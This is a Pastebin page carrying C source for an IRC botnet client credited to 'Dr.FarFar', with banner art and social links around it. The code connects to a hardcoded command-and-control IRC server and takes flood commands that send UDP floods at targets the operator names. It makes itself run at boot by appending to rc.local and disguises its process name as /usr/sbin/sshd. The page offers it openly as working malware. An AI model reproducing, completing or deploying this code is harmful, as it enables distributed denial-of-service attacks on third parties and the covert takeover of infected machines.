Advertisement
Dr_FarFar

[+] IRC Botnet [+]

Apr 27th, 2015
554
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 21.66 KB | None | 0 0
  1. /***
  2.      ▄▄▄▄▄▄▄▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄     ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄
  3.     ▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌   ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
  4.     ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌   ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌
  5.     ▐░▌       ▐░▌▐░▌       ▐░▌   ▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌
  6.     ▐░▌       ▐░▌▐░█▄▄▄▄▄▄▄█░▌   ▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌
  7.     ▐░▌       ▐░▌▐░░░░░░░░░░░▌   ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
  8.     ▐░▌       ▐░▌▐░█▀▀▀▀█░█▀▀    ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀█░█▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀█░█▀▀
  9.     ▐░▌       ▐░▌▐░▌     ▐░▌     ▐░▌          ▐░▌       ▐░▌▐░▌     ▐░▌  ▐░▌          ▐░▌       ▐░▌▐░▌     ▐░▌  
  10.     ▐░█▄▄▄▄▄▄▄█░▌▐░▌      ▐░▌  ▄ ▐░▌          ▐░▌       ▐░▌▐░▌      ▐░▌ ▐░▌          ▐░▌       ▐░▌▐░▌      ▐░▌
  11.     ▐░░░░░░░░░░▌ ▐░▌       ▐░▌▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌
  12.      ▀▀▀▀▀▀▀▀▀▀   ▀         ▀  ▀  ▀            ▀         ▀  ▀         ▀  ▀            ▀         ▀  ▀         ▀
  13.  
  14.                          
  15.                                              
  16. ~~~ :xD: Have Fun. Don't Forget To Bookmark This Website :xD:
  17. ~~~ https://www.FaceBook.com/Dr.FarFar
  18. ~~~ http://Dr-FarFar.BlogSpot.com/
  19.  
  20. */
  21.  
  22. ########################################################################################################################
  23.  
  24. //---      Modded By: CyberPunk      ---//  
  25. //--- Command Revamp By: So Colossal ---//
  26. //---       Defcon IRC Bot v6.0      ---//
  27.  
  28. #define STARTUP //set to define if rooted
  29. #undef IDENT
  30. #define FAKENAME "/usr/sbin/sshd"
  31. #define CHAN "#amazon"
  32. #define KEY ""
  33. #define PORT 1935
  34. #define PASS ""
  35. #define STD2_STRING "std"
  36. #define STD2_SIZE 50
  37. #define PREFIX ""
  38. int numservers=1;
  39. char *servers[] = {
  40.   "185.62.188.196",
  41.   (void*)0
  42. };
  43.  
  44. #include <stdarg.h>
  45. #include <errno.h>
  46. #include <stdio.h>
  47. #include <stdlib.h>
  48. #include <string.h>
  49. #include <sys/types.h>
  50. #include <sys/stat.h>
  51. #include <fcntl.h>
  52. #include <strings.h>
  53. #include <netinet/in.h>
  54. #include <unistd.h>
  55. #include <sys/time.h>
  56. #include <sys/socket.h>
  57. #include <signal.h>
  58. #include <arpa/inet.h>
  59. #include <netdb.h>
  60. #include <time.h>
  61. #include <sys/wait.h>
  62. #include <sys/ioctl.h>
  63.  
  64. int sock,changeservers=0;
  65. char *server, *chan, *key, *nick, *ident, *prefix, *user, *pass, disabled=0, udpTry = 0, *adminuser1="Fine";
  66. unsigned int *pids;
  67. unsigned long spoofs=0, spoofsm=0, numpids=0;
  68.  
  69. int strwildmatch(unsigned char* pattern, unsigned char* string) {
  70.     switch((unsigned char)*pattern) {
  71.         case '\0': return *string;
  72.         case 'b': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  73.         case 'o': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  74.         case 't': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  75.         case 'B': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  76.         case 'O': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  77.         case 'T': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  78.         case '?': return !(*string && !strwildmatch(pattern+1, string+1));
  79.         default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
  80.     }
  81. }
  82. int Send(int sock, char *words, ...) {
  83.         static char textBuffer[1024];
  84.         va_list args;
  85.         va_start(args, words);
  86.         vsprintf(textBuffer, words, args);
  87.         va_end(args);
  88.         return write(sock,textBuffer,strlen(textBuffer));
  89. }
  90. unsigned int host2ip(char *sender,char *hostname) {
  91.         static struct in_addr i;
  92.         struct hostent *h;
  93.         if((i.s_addr = inet_addr(hostname)) == -1) {
  94.                 if((h = gethostbyname(hostname)) == NULL) {
  95.                         Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
  96.                         exit(0);
  97.                 }
  98.                 bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  99.         }
  100.         return i.s_addr;
  101. }
  102. int mfork(char *sender) {
  103.     unsigned int parent, *newpids, i;
  104.     if (disabled == 1) {
  105.         Send(sock,"NOTICE %s :Unable to comply.\n",sender);
  106.         return 1;
  107.     }
  108.     parent=fork();
  109.     if (parent <= 0) return parent;
  110.     numpids++;
  111.     newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  112.     for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
  113.     newpids[numpids-1]=parent;
  114.     free(pids);
  115.     pids=newpids;
  116.     return parent;
  117. }
  118. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  119. char *makestring() {
  120.     char *tmp;
  121.     int len=(rand()%5)+4,i;
  122.     FILE *file;
  123.     tmp=(char*)malloc(len+1);
  124.     memset(tmp,0,len+1);
  125.     char *pre;
  126.     if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  127.     else {
  128.         int a=((rand()*rand())%45402)+1;
  129.         char buf[1024];
  130.         for (i=0;i<a;i++) fgets(buf,1024,file);
  131.         memset(buf,0,1024);
  132.         fgets(buf,1024,file);
  133.         filter(buf);
  134.         memcpy(tmp,buf,len);
  135.         fclose(file);
  136.     }
  137.     return tmp;
  138. }
  139. void identd() {
  140.         int sockname,sockfd,sin_size,tmpsock,i;
  141.         struct sockaddr_in my_addr,their_addr;
  142.         char szBuffer[1024];
  143.         if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
  144.         my_addr.sin_family = AF_INET;
  145.         my_addr.sin_port = htons(113);
  146.         my_addr.sin_addr.s_addr = INADDR_ANY;
  147.         memset(&(my_addr.sin_zero), 0, 8);
  148.         if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
  149.         if (listen(sockfd, 1) == -1) return;
  150.         if (fork() == 0) return;
  151.         sin_size = sizeof(struct sockaddr_in);
  152.         if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
  153.         for(;;) {
  154.                 fd_set bla;
  155.                 struct timeval timee;
  156.                 FD_ZERO(&bla);
  157.                 FD_SET(tmpsock,&bla);
  158.                 timee.tv_sec=timee.tv_usec=60;
  159.                 if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
  160.                 if (FD_ISSET(tmpsock,&bla)) break;
  161.         }
  162.         i = recv(tmpsock,szBuffer,1024,0);
  163.         if (i <= 0 || i >= 20) exit(0);
  164.         szBuffer[i]=0;
  165.         if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
  166.         if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
  167.     Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
  168.         close(tmpsock);
  169.         close(sockfd);
  170.         exit(0);
  171. }
  172.  
  173. //STD Attack
  174. void std(int sock, char *sender, int argc, char **argv) {
  175.     if (argc < 3) {
  176.    
  177.         Send(sock,"PRIVMSG %s :>bot +std <target> <port> <secs>\n",chan);
  178.         exit(1);
  179.        
  180.     }
  181.     unsigned long secs;
  182.  
  183.     int iSTD_Sock;
  184.  
  185.     iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  186.  
  187.     time_t start = time(NULL);
  188.     secs = atol(argv[3]);
  189.     if (mfork(sender) != 0) return;
  190.     Send(sock,"PRIVMSG %s :[STD]Hitting %s!\n",chan,argv[1]);
  191.  
  192.     struct sockaddr_in sin;
  193.  
  194.     struct hostent *hp;
  195.  
  196.     hp = gethostbyname(argv[1]);
  197.  
  198.     bzero((char*) &sin,sizeof(sin));
  199.     bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  200.     sin.sin_family = hp->h_addrtype;
  201.     sin.sin_port = atol(argv[2]);
  202.  
  203.     unsigned int a = 0;
  204.  
  205.     while(1){
  206.         if (a >= 50)
  207.         {
  208.             send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  209.             connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  210.             if (time(NULL) >= start + secs)
  211.             {
  212.                 Send(sock, "PRIVMSG %s :[STD]Done hitting %s!\n", chan, argv[1]);
  213.                 close(iSTD_Sock);
  214.                 exit(0);
  215.             }
  216.             a = 0;
  217.         }
  218.         a++;
  219.     }
  220.    
  221.  
  222. }
  223.  
  224. void stop(int sock, char *sender, int argc, char **argv){
  225.     unsigned long i;
  226.     for (i=0;i<numpids;i++) {
  227.         if (pids[i] != 0 && pids[i] != getpid()) {
  228.             if (sender) Send(sock,"PRIVMSG %s :Killing pid %d.\n",chan,pids[i]);
  229.                 kill(pids[i],9);
  230.         }
  231.     }
  232. }
  233.  
  234. void unknown(int sock, char *sender, int argc, char **argv) {
  235.     int flag=1,fd,i;
  236.     unsigned long secs;
  237.     char *buf=(char*)malloc(9216);
  238.     struct hostent *hp;
  239.     struct sockaddr_in in;
  240.    
  241.     time_t start=time(NULL);
  242.    
  243.     if (mfork(sender) != 0) return;
  244.    
  245.     if (argc != 2) {
  246.         Send(sock,"PRIVMSG %s :>bot +unknown <target> <secs>\n",chan);
  247.         exit(1);
  248.     }
  249.    
  250.     secs=atol(argv[2]);
  251.    
  252.     memset((void*)&in,0,sizeof(struct sockaddr_in));
  253.    
  254.     in.sin_addr.s_addr=host2ip(sender,argv[1]);
  255.     in.sin_family = AF_INET;
  256.    
  257.     Send(sock,"PRIVMSG %s :[UNK]Hitting %s!\n",chan,argv[1]);
  258.    
  259.     while(1) {
  260.        
  261.         in.sin_port = rand();
  262.        
  263.         if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0){
  264.         } else {
  265.             flag=1;
  266.             ioctl(fd,FIONBIO,&flag);
  267.             sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
  268.             close(fd);
  269.         }
  270.        
  271.         if (i >= 50) {
  272.             if (time(NULL) >= start+secs) break;
  273.                 i=0;
  274.         }
  275.         i++;
  276.     }
  277.     Send(sock,"PRIVMSG %s :[UNK]Done hitting %s!\n",chan,argv[1]);
  278.     close(fd);
  279.     exit(0);
  280. }
  281.  
  282. //Kill the bot
  283. void killsec(int sock, char *sender, int argc, char **argv) {
  284.    
  285.     if(strcasecmp(adminuser1,sender) == 0){
  286.    
  287.         kill(0,9);
  288.    
  289.     } else {
  290.    
  291.         Send(sock,"PRIVMSG %s :Nice try...\n", chan);
  292.    
  293.     }
  294. }
  295.  
  296. struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
  297.     { "+std"                    ,    std     },
  298.     { "+stop"                   ,    stop    },
  299.     { "+unknown"                ,   unknown  },
  300.     { "Kkt9x4JApM0RuSqCLA"      ,   killsec  },
  301.     { (char *)0, (void (*)(int,char *,int,char **))0 } };
  302.    
  303. void _PRIVMSG(int sock, char *sender, char *str) {
  304.         int i;
  305.         char *to, *message;
  306.        
  307.         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  308.         str[i]=0;
  309.         to=str;
  310.         message=str+i+2;
  311.         for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  312.         sender[i]=0;
  313.         if (*message == '>' && !strcasecmp(to,chan)) {
  314.                 char *params[12], name[1024]={0};
  315.                 int num_params=0, m;
  316.                 message++;
  317.                 for (i=0;i<strlen(message) && message[i] != ' ';i++);
  318.                 message[i]=0;
  319.                 if (strwildmatch(message,nick)) return;
  320.                 message+=i+1;
  321.                 m=strlen(message);
  322.                 for (i=0;i<m;i++) {
  323.                         if (*message == ' ' || *message == 0) break;
  324.                         name[i]=*message;
  325.                         message++;
  326.                 }
  327.                 for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
  328.                 num_params++;
  329.                 if (num_params > 10) num_params=10;
  330.                 params[0]=name;
  331.                 params[num_params+1]="\0";
  332.                 m=1;
  333.                 while (*message != 0) {
  334.                         message++;
  335.                         if (m >= num_params) break;
  336.                         for (i=0;i<strlen(message) && message[i] != ' ';i++);
  337.                         params[m]=(char*)malloc(i+1);
  338.                         strncpy(params[m],message,i);
  339.                         params[m][i]=0;
  340.                         m++;
  341.                         message+=i;
  342.                 }
  343.                 for (m=0; flooders[m].cmd != (char *)0; m++) {
  344.                         if (!strcasecmp(flooders[m].cmd,name)) {
  345.                                 flooders[m].func(sock,sender,num_params-1,params);
  346.                                 for (i=1;i<num_params;i++) free(params[i]);
  347.                                 return;
  348.                         }
  349.                 }
  350.         }
  351. }
  352. void _376(int sock, char *sender, char *str) {
  353.         Send(sock,"MODE %s +pixB\n",nick);
  354.         Send(sock,"JOIN %s :%s\n",chan,key);
  355.         Send(sock,"WHO %s\n",nick);
  356. }
  357. void _PING(int sock, char *sender, char *str) {
  358.  
  359. Send(sock,"PONG %s\n",str);
  360.  
  361. }
  362.  
  363. void _352(int sock, char *sender, char *str) {
  364.         int i,d;
  365.         char *msg=str;
  366.         struct hostent *hostm;
  367.         unsigned long m;
  368.         for (i=0,d=0;d<5;d++) {
  369.                 for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  370.                 if (i == strlen(str)) return;
  371.         }
  372.         for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  373.         msg[i]=0;
  374.         if (!strcasecmp(msg,nick) && !spoofsm) {
  375.                 msg=str;
  376.                 for (i=0,d=0;d<3;d++) {
  377.                         for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  378.                         if (i == strlen(str)) return;
  379.                 }
  380.                 for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  381.                 msg[i]=0;
  382.                 if ((m = inet_addr(msg)) == -1) {
  383.                         if ((hostm=gethostbyname(msg)) == NULL) {
  384.                                 Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
  385.                                 return;
  386.                         }
  387.                         memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  388.                 }
  389.                 ((char*)&spoofs)[3]=((char*)&m)[0];
  390.                 ((char*)&spoofs)[2]=((char*)&m)[1];
  391.                 ((char*)&spoofs)[1]=((char*)&m)[2];
  392.                 ((char*)&spoofs)[0]=0;
  393.                 spoofsm=256;
  394.         }
  395. }
  396. void _433(int sock, char *sender, char *str) {
  397.         free(nick);
  398.         char tempnick[50];
  399.         char *strpref = PREFIX;
  400.         char *genname = makestring();
  401.         strcpy(tempnick,strpref);
  402.         strcat(tempnick,genname);
  403.         nick=tempnick; 
  404. }
  405.  
  406. struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
  407.         {   "352",     _352     },
  408.         {   "376",     _376     },
  409.         {   "433",     _433     },
  410.         {   "422",     _376     },
  411.         { "PRIVMSG", _PRIVMSG   },
  412.         {   "PING",    _PING    },
  413.         { (char *)0, (void (*)(int,char *,char *))0 } };
  414. void con() {
  415.         struct sockaddr_in srv;
  416.         unsigned long ipaddr,start;
  417.         int flag;
  418.         struct hostent *hp;
  419. start:
  420.     sock=-1;
  421.     flag=1;
  422.     if (changeservers == 0) server=servers[rand()%numservers];
  423.     changeservers=0;
  424.         while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
  425.     if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  426.         if ((hp = gethostbyname(server)) == NULL) {
  427.             server=NULL;
  428.             close(sock);
  429.             goto start;
  430.         }
  431.         bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
  432.     }
  433.     else srv.sin_addr.s_addr=inet_addr(server);
  434.         srv.sin_family = AF_INET;
  435.         srv.sin_port = htons(PORT);
  436.     ioctl(sock,FIONBIO,&flag);
  437.     start=time(NULL);
  438.     while(time(NULL)-start < 10) {
  439.         errno=0;
  440.         if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
  441.                 setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  442.                 setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  443.                 setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  444.             return;
  445.         }
  446.         if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  447.         sleep(1);
  448.     }
  449.     server=NULL;
  450.     close(sock);
  451.     goto start;
  452. }
  453. int main(int argc, char *argv[]) {
  454.         int on,i;
  455.         char cwd[256],*str;
  456.         FILE *file;
  457. #ifdef STARTUP
  458.     str="/etc/rc.d/rc.local";
  459.     file=fopen(str,"r");
  460.     if (file == NULL) {
  461.         str="/etc/rc.conf";
  462.         file=fopen(str,"r");
  463.     }
  464.         if (file != NULL) {
  465.                 char outfile[256], buf[1024];
  466.                 int i=strlen(argv[0]), d=0;
  467.                 getcwd(cwd,256);
  468.                 if (strcmp(cwd,"/")) {
  469.                         while(argv[0][i] != '/') i--;
  470.                         sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  471.                         while(!feof(file)) {
  472.                                 fgets(buf,1024,file);
  473.                                 if (!strcasecmp(buf,outfile)) d++;
  474.                         }
  475.                         if (d == 0) {
  476.                                 FILE *out;
  477.                                 fclose(file);
  478.                                 out=fopen(str,"a");
  479.                                 if (out != NULL) {
  480.                                         fputs(outfile,out);
  481.                                         fclose(out);
  482.                                 }
  483.                         }
  484.                         else fclose(file);
  485.                 }
  486.                 else fclose(file);
  487.         }
  488. #endif
  489.         if (fork()) exit(0);
  490. #ifdef FAKENAME
  491.     strncpy(argv[0],FAKENAME,strlen(argv[0]));
  492.         for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  493. #endif
  494.         srand((time(NULL) ^ getpid()) + getppid());
  495.         char tempnick[50];
  496.         char *strpref = PREFIX;
  497.         char *genname = makestring();
  498.    
  499.         strcpy(tempnick,strpref);
  500.         strcat(tempnick,genname);
  501.        
  502.         nick=tempnick;
  503.         ident="Remote";
  504.         user="Remote IRC Bot";
  505.         chan=CHAN;
  506.         key=KEY;
  507.         pass=PASS;
  508.         server=NULL;
  509. sa:
  510. #ifdef IDENT
  511.         for (i=0;i<numpids;i++) {
  512.                 if (pids[i] != 0 && pids[i] != getpid()) {
  513.                         kill(pids[i],9);
  514.             waitpid(pids[i],NULL,WNOHANG);
  515.                 }
  516.         }
  517.     pids=NULL;
  518.     numpids=0;
  519.     identd();
  520. #endif
  521.  
  522.     con();
  523.         Send(sock,"PASS %s\n", pass);
  524.         Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
  525.         while(1) {
  526.                 unsigned long i;
  527.                 fd_set n;
  528.                 struct timeval tv;
  529.                 FD_ZERO(&n);
  530.                 FD_SET(sock,&n);
  531.                 tv.tv_sec=60*20;
  532.                 tv.tv_usec=0;
  533.                 if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
  534.                 for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
  535.                         unsigned int *newpids,on;
  536.                         for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
  537.             pids[on-1]=0;
  538.                         numpids--;
  539.                         newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  540.                         for (on=0;on<numpids;on++) newpids[on]=pids[on];
  541.                         free(pids);
  542.                         pids=newpids;
  543.                 }
  544.                 if (FD_ISSET(sock,&n)) {
  545.                         char buf[4096], *str;
  546.                         int i;
  547.                         if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
  548.                         buf[i]=0;
  549.                         str=strtok(buf,"\n");
  550.                         while(str && *str) {
  551.                                 char name[1024], sender[1024];
  552.                                 filter(str);
  553.                                 if (*str == ':') {
  554.                                         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  555.                                         str[i]=0;
  556.                                         strcpy(sender,str+1);
  557.                                         strcpy(str,str+i+1);
  558.                                 }
  559.                                 else strcpy(sender,"*");
  560.                                 for (i=0;i<strlen(str) && str[i] != ' ';i++);
  561.                                 str[i]=0;
  562.                                 strcpy(name,str);
  563.                                 strcpy(str,str+i+1);
  564.                                 for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
  565.                                 if (!strcasecmp(name,"ERROR")) goto sa;
  566.                                 str=strtok((char*)NULL,"\n");
  567.                         }
  568.                 }
  569.         }
  570.         return 0;
  571. }
  572.  
  573. ########################################################################################################################
  574.  
  575.         https://www.facebook.com/Dr.FarFar
  576.         http://Dr-FarFar.BlogSpot.com/
  577.  
  578.         ________         __________                __________                
  579.         ___  __ \___________  ____/______ ____________  ____/______ _________
  580.         __  / / /__  ___/__  /_    _  __ `/__  ___/__  /_    _  __ `/__  ___/
  581.         _  /_/ / _  /___ _  __/    / /_/ / _  /    _  __/    / /_/ / _  /    
  582.         /_____/  /_/ _(_)/_/       \__,_/  /_/     /_/       \__,_/  /_/    
  583.                                                                              
  584.                              ~\ Dr.FarFar /~
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement